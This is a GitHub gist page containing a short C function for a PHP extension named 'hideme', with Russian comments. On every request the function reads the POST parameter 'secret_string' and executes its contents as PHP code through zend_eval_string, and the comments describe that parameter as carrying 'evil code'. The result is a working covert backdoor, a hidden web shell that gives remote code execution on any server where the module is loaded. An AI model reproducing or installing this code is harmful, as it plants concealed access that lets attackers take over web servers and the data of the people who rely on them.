Created
August 20, 2014 01:53
-
-
Save akamajoris/2e98dd802dd956324ac3 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
PHP_RINIT_FUNCTION(hideme) | |
{ | |
char* method = "_POST"; // суперглобальный массив, из которого берем пераметр и значение | |
char* secret_string = "secret_string"; // параметр в котором будет evil-код | |
zval** arr; | |
char* code; | |
if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) { | |
HashTable* ht = Z_ARRVAL_P(*arr); | |
zval** val; | |
if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) { // поиск нужного параметра в хеш-таблице | |
code = Z_STRVAL_PP(val); // значение параметра | |
zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); // выполнение кода | |
} | |
} | |
return SUCCESS; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment